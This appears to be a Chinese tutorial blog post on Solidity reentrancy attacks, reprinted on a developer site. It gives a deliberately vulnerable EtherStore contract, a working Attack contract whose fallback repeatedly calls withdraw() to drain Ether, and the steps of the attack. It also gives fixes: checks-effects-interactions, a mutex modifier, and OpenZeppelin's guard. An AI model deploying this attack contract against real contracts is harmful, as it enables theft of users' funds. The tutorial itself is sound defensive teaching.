solidity 安全 如何阻止重入攻击

news2024/11/26 13:47:06

什么是可重入攻击?

       我们使用合约的过程中,经常会遇到这种情况,智能合约能够调用外部的合约;这些外部合约又可以回调到调用他们的智能合约;在这种情况下,我们说智能合约被重新输入,这种情况被称为可重入性。

        正常使用的时候,是没有任何问题;如果攻击者,将攻击代码,插入到合约执行流程中,使得合约执行正常逻辑之外的攻击代码,就会给用户带来损失。

        当用户使用用户账户调用合约B时,属于正常调用,不会有问题;

        如果攻击者创建一个attack合约,去调用B时,就可以发生类似如下的过程;B又回调到attack

合约,然后attack又再次调用到合约B;

 发生这种情况的关键是以下两点:

        1.通过转账调用合约

        gas().call.vale()():在调用时会发送所有的 gas,当发送失败时会返回布尔值 false,不能有效的防止重入攻击。

        transfer()和send():只会发送 2300 gas 进行调用,当发送失败时会通过 throw 来进行回滚操作,从而防止了重入攻击。

        2.声明一个可攻击的fallback函数

        回退函数 (fallback function):回退函数是每个合约中有且仅有一个没有名字的函数,并且该函数无参数,无返回值。

function() public payable(){}

        回退函数在以下几种情况中被执行:

  •         调用合约时没有匹配到调用的函数;
  •         调用合约时没有传数据;
  •         fallback 函数必被标记为 payable时,智能合约收到以太币;

合约分析

        首先部署一个合约——EtherStore,你可以存取ETH。但是这个合约是容易受到重入攻击。

        这里重点分析withdraw函数,首先判断发送者的balance是否大于0,如果大于0,则将balance发送给sender,注意到这里它用来发送ether的函数是call.value,发送完成后,才在下面更新了sender的balances,这里就是可重入攻击的关键所在了;

        当发送者是一个合约时,因为该函数发送ether后,会调用发送者的fallback函数,如果我们在fallback中再继续调用EtherStore的withdraw,则程序会进入循环,不断给我们发送ether,不会执行balances[msg.sender] = 0;无法更新余额,直到EtherStore的余额为0。

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

攻击合约如下,我们在攻击合约里的fallback函数里,继续调用EtherStore的withdraw;然后调用attack发动攻击;

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

攻击流程

1、部署EtherStore合约

2、账户A调用EtherStore.deposit(),存入3eth;账户B调用EtherStore.deposit(),存入2eth;

3、部署attack合约

4、账户C调用Attack.attck().完成攻击;

预防与修复

使用其他的转账函数:

如果用户的目的只是向目标地址转账,那么一定要使用transfer函数。

checks-effect-interaction

编写合约函数时, 先检查,然后生效,最后才是交互。

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0); //checks
        balances[msg.sender] = 0; //effect
        (bool sent, ) = msg.sender.call{value: bal}(""); //interaction
        require(sent, "Failed to send Ether");

        
    }

使用互斥锁 

 添加一个在代码执行过程中锁定合约的状态变量以防止重入攻击。

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

也可以直接使用OpenZeppelin提供的重入锁。

openzeppelin-contracts/ReentrancyGuard.sol at master · OpenZeppelin/openzeppelin-contracts · GitHub

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/477749.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

守护进程Daemon

进程组、对话期和控制终端关系 每个会话有且只有一个前台进程组,但会有0个或者多个后台进程组。产生在控制终端上的输入(Input)和信号(Signal)将发送给会话的前台进程组中的所有进程。对于输出(Output&…

给大家介绍几个手机冷门但好用的小技巧

技巧一:拍照识别植物 手机的拍照识别植物功能是指在使用手机相机时,可以通过对植物进行拍照,并通过植物识别技术,获取植物的相关信息和资料。其主要优点如下: 方便实用:使用拍照识别植物功能,…

Small Tip: 怎么去Schedule一个Analysis for Office的workbook

workbook的query不能是本地的,也就是说不能是在包$Tmp里面的。这种的没办法在BO里面用SSO。也就没办法Schedule。 前提条件有: 1.BO和BW系统的SSO配置得OK。 如果没有SSO,那么每次打开workbook就会有一个要登录BW的弹窗,这样是…

从零开始学习Linux运维,成为IT领域翘楚(三)

文章目录 🔥Linux超级用户与伪用户🔥Linux文件基本属性🔥Linux权限字与权限操作 🔥Linux超级用户与伪用户 Linux下用户分为三类:超级用户、普通用户、伪用户 ⭐ 超级用户:用户名为root,具有一切…

初识 OPC

为什么需要OPC? 随着自动化的发展,工厂的自动化程度越来越高,面临着问题: 设备之间,设备与应用程序之间交互数据 不同产商设备/应用程序具有不同接口/通信协议,如何简单快速连接?采集的数据及…

【计算机网络】学习笔记:第四章 网络层【王道考研】更新中....

基于本人观看学习b站王道计算机网络课程所做的笔记&#xff0c;不做任何获利 仅进行交流分享 特此鸣谢王道考研 若有侵权请联系&#xff0c;立删 如果本篇笔记帮助到了你&#xff0c;还请点赞 关注 支持一下 ♡>&#x16966;<)!! 主页专栏有更多&#xff0c;如有疑问欢迎…

计算机组成原理4.2.2汉明码

编码的最小距离 奇校验和偶校验 看1的个数是奇数 还是偶数 汉明码 汉明码的配置 根据不等式&#xff0c;确定增添几位&#xff0c;根据指数放置增添位 汉明码的检错 分不同检测小组 分组规则&#xff1a;哪位为’1‘就是哪组元素。 1号位为‘1’的都是第一组元素&#…

JUnit 5 使用教程 及 JUnit 4/5的差异

1. JUnit 5产生的原因 JDK 8在java中带来了迷人的功能,最值得注意的是lambda表达式 为了适应 Java 8 风格的编码和新的功能特性,JUnit 提供了JUnit 5 2. JUnit 5 架构 与 JUnit 4 相比,JUnit 5 由来自三个不同子项目的几个不同模块组成:JUnit 5 = JUnit Platform + JUni…

controlnet1.1模型和预处理器功能详解(各预处理器出稿对比及对应模型说明)

ControlNet 1.1 与 ControlNet 1.0 具有完全相同的体系结构,ControlNet 1.1 包括所有以前的模型&#xff0c;具有改进的稳健性和结果质量&#xff0c;且增加并细化了多个模型。 命名规范 项目名版本号标识基础模型版本功能名文件后缀名 control 官方总是以control为项目名&…

Java NIO(Java Non-Blocking IO:非阻塞式IO)(2)

1.NIO非阻塞网络编程原理分析 1>.NIO非阻塞网络编程相关的(Selector、SelectionKey、ServerScoketChannel和SocketChannel)关系梳理图: 说明: ①.当客户端连接时,会通过服务器端ServerSocketChannel得到/生成对应的SocketChannel; ②.通过register(Selector sel,int ops)…

SpringBoot 如何防御 CSRF 攻击

SpringBoot 如何防御 CSRF 攻击 CSRF 原理CSRF实践CSRF防御前后端不分离方案前后端分离方案 CSRF 就是跨域请求伪造&#xff0c;英文全称是 Cross Site Request Forgery。 这是一种非常常见的Web攻击方式&#xff0c;其实是很好防御的&#xff0c;但是由于经常被很多开发者忽略…

压缩HTML引用字体

内容简介 有些网站为了凸显某部分字体&#xff0c;而引入自定义字体&#xff0c;但由于自定义字体相对都比较大&#xff08;几M&#xff09;,导致页面加载缓慢&#xff1b;所以本文介绍三种压缩字体的方法&#xff0c;可根据项目情况自行选择。 压缩方法 1、利用Fontmin程序&a…

ETL工具 - Kettle 输入输出算子介绍

一、Kettle 输入输出算子介绍 上篇文章对 Kettle 进行了简单的介绍及做了个简单的案例&#xff0c;但是对 Kettle 的Step算子工具没有做过多的解释&#xff0c;本篇文章从输入输出算子工具开始进行介绍。 下面是上篇文章的地址&#xff1a; ETL工具 - Kettle 介绍及基本使用 …

正点原直流有刷驱动板的硬件解说

这里写目录标题 H桥电流采集电路电源电压采集电路温度采集电路过流检测电路过流保护电路![请添加图片描述](https://img-blog.csdnimg.cn/fa130e17e23b471e8e27ae942e1ff125.png) H桥 因为光耦(EL0631)作用&#xff0c;PWM 引脚电平输入IN相反。 然后半桥芯片的逻辑表为&#x…

【Python】BeautifulSoup

一、什么是BeautifulSoup Beautiful Soup 简称 BS4&#xff08;其中 4 表示版本号&#xff09;是一个 Python 第三方库&#xff0c;它可以从 HTML 或 XML 文档中快速地提取指定的数据。 二、BS4下载安装 点击最下面的终端进如命令行界面 &#xff08;进入成功界面&#xff1a;&…

C++/Qt 小知识记录3

工作中遇到的一些小问题&#xff0c;总结的小知识记录&#xff1a;C/Qt 小知识 QLineEdit限制输入大于0的正整数QLayout内清空已布局的WidgetWindows结束进程直接结束&#xff0c;子进程不响应结束事件正常结束&#xff0c;子进程响应结束事件 CMake关闭控制台Console实体与值对…

【网络编程】网络基础知识总结

文章目录 一、局域网与广域网二、协议2.1 协议的概念2.2 协议分层2.3 数据传输的条件 三、OSI七层模型四、TCP/IP五层&#xff08;四层&#xff09;模型五、网络传输5.1 预备知识——报头5.2 局域网通信原理5.3 以太网和令牌环网5.3 网络传输流程图5.3.1 同一网段的两台计算机的…

海岛旅行回忆总结(不定更)

文章目录 概述大辣甲岛外伶仃岛、东澳岛长洲、南丫岛下川岛 概述 喜欢大海&#xff0c;与海滩相比&#xff0c;海岛的空气更好、海水更靓、人更少、污染更少 海岛位置日期天气小结大辣甲岛惠州2017年7月29~30日台风前夕&#xff0c;云淡风轻&#xff0c;阳光猛烈开发程度低&…

分享2款CSS3母亲节主题寄语文字动画特效

目录 ❤️ 前言 第一款&#xff1a;妈妈您辛苦了&#xff01; 一、效果图 二、代码实现 第二款&#xff1a;Mothers Day&#xff01; 一、效果图 二、代码实现 ❤️ 祝福 ❤️ 前言 母亲节&#xff0c;在每年五月的第二个星期日&#xff0c;是用来感谢母亲的节日。…

SpringAOP

SpringAOP 一、AOP1. AOP简介1.1 AOP简介和作用1.2 AOP中的核心概念 2. AOP入门案例【重点】2.1 AOP入门案例思路分析2.2 AOP入门案例实现【第一步】导入aop相关坐标【第二步】定义dao接口与实现类【第三步】定义通知类&#xff0c;制作通知方法【第四步】定义切入点表达式、配…